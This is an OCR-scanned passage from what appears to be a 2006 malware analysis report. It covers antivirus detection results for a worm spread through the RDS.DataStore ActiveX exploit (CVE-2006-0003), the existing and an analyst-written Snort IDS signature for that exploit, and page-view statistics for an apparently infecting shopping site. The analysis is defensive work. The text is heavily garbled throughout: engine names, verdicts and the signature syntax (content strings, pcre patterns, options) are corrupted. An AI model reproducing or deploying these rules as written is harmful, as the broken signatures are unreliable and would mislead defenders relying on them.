BitDefender 7.2 10.10.,2006 |Trojan.Sohanat.n
CAT-QuickHeal 8.00 10.10.2006 |no virus found
Clamay devel-20060426 10.10,2006 (Trojan . Killav-75
Driveb 4,33 10.10.2006 |modification of BackDoor.Generic, 1024
eTrust-InoculatelT 23.73.18 10.10.2006 |no virds nd
eTrust-vet 30.3.3125 10.10.2006 |no i

Ewido 4.0 10,10,2006 [“Worm.Qucan.a
Fortinet 2.82.0.0 10.10,2006 |suspicious

F-Prot 3.16f 10.10.,2006 [no v f

F-Protd 4.2.1.29 10.10.2006

Ikarus 0.2.65.0 10.10.2006 |no wirus found
Kaspersky 4.0.2.24 10.10.2006 [IM-\Worm \Win32.Qucan.a
Mcafes 4269 10.09.2006 |n |
Microsoft 1.1a03 10.10.2006 |no s found
NOD3I2v2 1.1796 10.10.2006 |[Win32/Killaw NBD
Morman 5.20.02 10,10.2006 |no wirds found

Panda 9.0.0.4 10.10,2006 W32/ Qucan.d, worm
Sophos 4.10.0 10.05.2006 |no virus found
TheHacker 6.0.1.094 10.08.2006 |no v

UMNA, 1.83 10.09.2006 ormMINZ2 . Jucan.a
WBAZZ 3.11.1 10.10.2006 |no ]
VirlsBuster 4.3.7:9 10.10.2006
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The screenshot tells clearly displays the detectts

1. Only 20% of the engines were able to detect wem when | for scanned
host_unpacked.exe

2. Only 42.3 % of the engines were able to ddtextvorm when | scanned for host2.exe

Antivir, Bit defender , Fortinet and Kaspersky, UNvere able to detect all the 4 cases.
UNA, The Hacker, CAT-Quickheal detects all the Auszrips as Trojan.

5.3IPS Signatures

The current snort IDS has a signature that chemkhé RDS.DataStore ActiveX control.
Since this exploit uses more of string splittingistcould evade IDS and Anti-virus
signatures. So current snort signature ruleset wamable to detect this attack.

alert tcp $EXTERNAL NET $HTTP_PORTS -> $HOVE NET any (nsg:"WEB- CLI ENT
RDS. Dat aspace ActiveX Object Access"; flow fromserver, established;
cont ent : "BD96C556- 65A3- 11D0- 983A- 00C04FC29E36"; nocase,;

pcre: "/ <OBJECT\ s+[ *>] *cl assi d\ s*=\s*[\ x22\ x27] ?\ s*cl si d\ s*\ x3a\ s*\ x7B?\
s*BDI96C556- 65A3- 11D0- 983A- 00CO4FC29E36/ si "; reference: cve, 2006- 0003;
reference: url, ww. m crosoft.com technet/security/bulletin/M06-

014. nspx; classtype: attenpted-user; sid:6009; rev:1;)

| have written a snort signature that could detigistattack

alert tcp $EXTERNAL NET $HTTP_PORTS -> $HOVE NET any (nsg:"WEB- CLI ENT
RDS. Dat aStore ActiveX (bject Access Vulnerability";

flow. fromserver, established; content:"BD96C556-65A3- 11D0- 983A-
00C04FC29E36"; nocase;

pcre:"/.createElement\s*\(\s*[\x22\x27]?\s*object/scre: "cl si d\ s*\ x3a\ s*\ x7B?\ s
*BDI96C556- 65A3- 11D0- 983A- 00CO4FC29E36/si "; reference: cve, 2006- 0003;
reference: url, ww. m crosoft.com technet/security/bulletin/M06-

014. nspx; classtype: attenpted-user; sid:99001; rev:1;)

5.4 Infection Statistics

These are the page views on Octobdt and October 10

General statistics as tracked by AdBrite

¥ = how it compares with other sites in the AdBrite marketplace

Pageviews per day (2 : Over 1,500,000 oy Origin of traffic [ : Egypt, India,
Unique users per day & : Over 110,000 ¥0irio Philippines, Romania
Alexa rank (& . E5&0,310 T Avg cost per click (ecPc) (2 $0.01
D . s r

= Responsiveness ¢ Mo Data
Repurchase rate (£ : Mo Data i . .
. . Site Cateqory: Shopping = Clothing
Conversion Scare (£ Mo Data Shoes, & Accessaries
AdBrite since @ September, 2006
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General statistics as tracked by AdBrite

¥ = how it compares with other sites in the AdBrite marketplace

Pageviews per day (2 | Over 1,800,000 Fiysr Origin of traffic ¥ | Egypt, India,

% . Over 62,000 *rioonT Philippines

Unique users perday & _
flowa rank B . 560,310 W Avg cost per click {ecPc) (2 $0.02
- i W
Responsiveness @ Mo Data

? . K Zite Category, Shopping = Clothing
Conversion Score L5 MR Data Shoes, & fccessaries

AdBrite since . September, 2006

Repurchase rate (&, Mo Data

On 10" October there were around 1,800,000 pageviewshaha62,000 are unigque

visitors.
On11th October there were around 1,500,000 pageswaé which 110,000 are unique

visitors.
A closer analysis on the unique users per day shiogvalarming rate at which new
systems are getting infected.
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